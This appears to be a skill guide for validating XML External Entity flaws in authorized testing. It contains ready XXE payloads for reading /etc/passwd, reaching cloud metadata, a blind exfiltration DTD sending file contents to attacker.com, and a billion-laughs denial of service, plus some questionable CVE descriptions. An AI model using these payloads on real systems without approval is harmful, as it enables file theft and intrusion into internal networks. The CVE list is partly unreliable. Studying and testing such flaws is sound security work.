XML External Entity (XXE) Injection Testing Skill

Purpose

Validate XXE vulnerabilities by injecting malicious XML documents containing external entity references and observing:

• •File disclosure via file:// protocol
• •Server-Side Request Forgery (SSRF) via http:// or other protocols
• •Denial of Service via entity expansion (billion laughs) or large file reads
• •Blind XXE via out-of-band DNS/HTTP callbacks
• •Error-based extraction via parser error messages containing file contents

Vulnerability Types Covered

1. Classic XXE / File Disclosure (CWE-611)

Read local files by defining external entities pointing to file:// URIs.

Detection Methods:

• •Inject <!ENTITY xxe SYSTEM "file:///etc/passwd"> and reference &xxe;
• •Look for file contents in response body or error messages

Example Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

2. SSRF via XXE (CWE-611, CWE-918)

Make server-side requests to internal/external resources.

Detection Methods:

• •Inject <!ENTITY xxe SYSTEM "http://internal-server:8080/">
• •Monitor for outbound requests to controlled domains
• •Access cloud metadata endpoints (http://169.254.169.254/)

Example Payload:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<foo>&xxe;</foo>

3. Blind XXE / Out-of-Band (OOB) (CWE-611)

Exfiltrate data when response is not reflected, using external DTD + parameter entities.

Detection Methods:

• •Host external DTD on attacker-controlled server
• •Use parameter entities to encode file contents in HTTP/DNS requests
• •Monitor callback server for data exfiltration

Example Payload:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<foo>test</foo>

evil.dtd (on attacker server):

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;

4. Error-Based XXE (CWE-611)

Extract file contents via parser error messages.

Detection Methods:

• •Trigger XML parsing errors that include file contents
• •Use non-existent file references that leak partial data

Example Payload:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
  %eval;
  %error;
]>
<foo>test</foo>

5. Denial of Service (DoS) via XXE (CWE-611, CWE-776)

Exhaust server resources via recursive entity expansion or large file reads.

Detection Methods:

• •"Billion Laughs" attack (exponential entity expansion)
• •Reference /dev/random or large files
• •Monitor for server slowdown or crash

Example Payload (Billion Laughs):

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<lolz>&lol4;</lolz>

6. XInclude Attacks (CWE-611)

When DOCTYPE is blocked but XInclude processing is enabled.

Detection Methods:

• •Use <xi:include> instead of DOCTYPE entities
• •Works when application uses partial XML parsing

Example Payload:

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>

7. SVG/Office Document XXE (CWE-611)

XXE via file upload of SVG images or Office documents (DOCX, XLSX, PPTX).

Detection Methods:

• •Upload SVG with embedded XXE payload
• •Modify Office document XML parts (document.xml, [Content_Types].xml)

Example SVG Payload:

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text x="10" y="20">&xxe;</text>
</svg>

Platform/Parser-Specific Notes

Prerequisites

• •Target application that accepts/parses XML input
• •Identified XML injection points (API endpoints, file uploads, SOAP services)
• •For blind XXE: controlled callback server (collaborator domain)
• •VULNERABILITIES.json with suspected XXE findings if provided

Testing Methodology

Phase 1: Identify XML Parsing Points

• •SOAP/REST endpoints accepting XML bodies
• •File upload handlers (SVG, DOCX, XLSX, XML config files)
• •XML-RPC services
• •RSS/Atom feed parsers
• •SAML/OAuth endpoints processing XML assertions

Phase 2: Establish Baseline

• •Send well-formed XML without entities
• •Note response format, status, and timing
• •Check Content-Type handling (does server accept application/xml?)

Phase 3: Execute XXE Tests

Classic XXE (File Disclosure):

payload = '''<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>'''

resp = post("/api/parse", data=payload, content_type="application/xml")
if "root:" in resp.text or "/bin/bash" in resp.text:
    status = "VALIDATED"

SSRF via XXE:

payload = '''<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal:8080/admin">
]>
<foo>&xxe;</foo>'''

resp = post("/api/parse", data=payload, content_type="application/xml")
if "admin" in resp.text or resp.status_code != 400:
    status = "VALIDATED"

Blind XXE (OOB):

payload = f'''<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://{collaborator}/evil.dtd">
  %xxe;
]>
<foo>test</foo>'''

post("/api/parse", data=payload, content_type="application/xml")
if collaborator_received_request():
    status = "VALIDATED"

XInclude:

payload = '''<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>'''

resp = post("/api/parse", data=payload, content_type="application/xml")
if "root:" in resp.text:
    status = "VALIDATED"

Phase 4: Classification Logic

Validation Criteria:

• •File contents (e.g., /etc/passwd, win.ini) appear in response
• •SSRF to controlled domain confirmed via callback
• •Blind XXE confirmed via DNS/HTTP interaction
• •Error messages contain file path or partial contents

Phase 5: Capture Evidence

Capture minimal structured evidence (redact PII/secrets, truncate to 8KB, hash full response):

• •status, injection_type, cwe
• •Request details (url, method, payload, content-type)
• •Response snippet showing file disclosure or SSRF result
• •Callback details for blind XXE (timestamp, source IP)

Phase 6: Safety Rules

• •Detection-only payloads; target benign files (/etc/passwd, win.ini, /etc/hostname)
• •NEVER target sensitive credentials (/etc/shadow, private keys, database configs)
• •Use minimal DoS payloads (low recursion depth) for testing; stop immediately if slowdown detected
• •Only use OOB callbacks to controlled domains you own
• •Clean up external DTD files after testing
• •Respect rate limits; avoid triggering security alerts

Output Guidelines

• •Keep responses concise (1-4 sentences)
• •Include endpoint, payload type, and impact

Validated examples:

XXE file disclosure on /api/xml - file:///etc/passwd content returned (CWE-611). Arbitrary file read possible.
Blind XXE on /upload - OOB callback received to collaborator (CWE-611). Data exfiltration risk confirmed.
SSRF via XXE on /soap - internal service response reflected (CWE-611, CWE-918). Internal network access.
XInclude XXE on /parse - file:///etc/hostname disclosed via xi:include (CWE-611). DOCTYPE blocked but XInclude enabled.

Unvalidated example:

XXE test incomplete on /api/data - DTD appears disabled (no entity expansion). Evidence: path/to/evidence.json

CWE Mapping

Primary CWE (DAST-testable):

• •CWE-611: Improper Restriction of XML External Entity Reference
  • •This is THE designated CWE for XXE vulnerabilities
  • •Alternate terms: XXE, XML eXternal Entity, XML Entity Injection
  • •OWASP Top Ten 2017 A4, 2021 A05 (Security Misconfiguration)

Related CWEs (context):

• •CWE-827: Improper Control of Document Type Definition — related to DTD handling issues
• •CWE-776: Improper Restriction of Recursive Entity References in DTDs — "Billion Laughs" DoS
• •CWE-918: Server-Side Request Forgery (SSRF) — XXE can enable SSRF attacks
• •CWE-610: Externally Controlled Reference to a Resource in Another Sphere — parent class
• •CWE-20: Improper Input Validation — related root cause
• •CWE-200: Exposure of Sensitive Information — consequence of XXE

Related Attack Patterns:

• •CAPEC-221: Data Serialization External Entities Blowup
• •CAPEC-201: Serialized Data External Linking

OWASP Classification:

• •OWASP Top Ten 2017: A4 - XML External Entities (XXE)
• •OWASP Top Ten 2021: A05 - Security Misconfiguration

Notable CVEs (examples)

• •CVE-2025-66516 (Apache Tika): Critical XXE (CVSS 10.0) via XFA forms in PDFs; affects tika-core 1.13-3.2.1.
• •CVE-2025-54988 (Apache Tika): XXE in PDF parser module leading to file disclosure and SSRF.
• •CVE-2021-21234 (Spring Boot): XXE in log4j configuration parsing (log4j pre-2.16).
• •CVE-2020-5245 (Dropwizard): XXE via YAML parsing with SnakeYAML.
• •CVE-2019-0227 (Apache Axis): SSRF via XXE in SOAP messages.
• •CVE-2018-1000001 (Libreoffice): XXE via malicious ODT document.
• •CVE-2017-9506 (Jira): Blind XXE allowing internal network scanning.
• •CVE-2014-3529 (Apache POI): XXE in Office document parsing.

Safety Reminders

• •ONLY test against user-approved targets; stop if production protections trigger
• •Use benign file paths for disclosure testing (e.g., /etc/passwd, not /etc/shadow)
• •Minimal DoS payloads only; immediately abort if server impact detected
• •OOB callbacks only to domains you control
• •Disable external entity processing in production via parser configuration
• •Prefer JSON over XML where possible to eliminate XXE attack surface

Reference Implementations

• •See reference/xxe_payloads.py for XXE payloads by attack type
• •See reference/validate_xxe.py for XXE-focused validation flow
• •See examples.md for concrete XXE scenarios and evidence formats

Additional Resources

• •OWASP XXE Prevention Cheat Sheet
• •PortSwigger XXE
• •HackTricks XXE
• •PayloadsAllTheThings XXE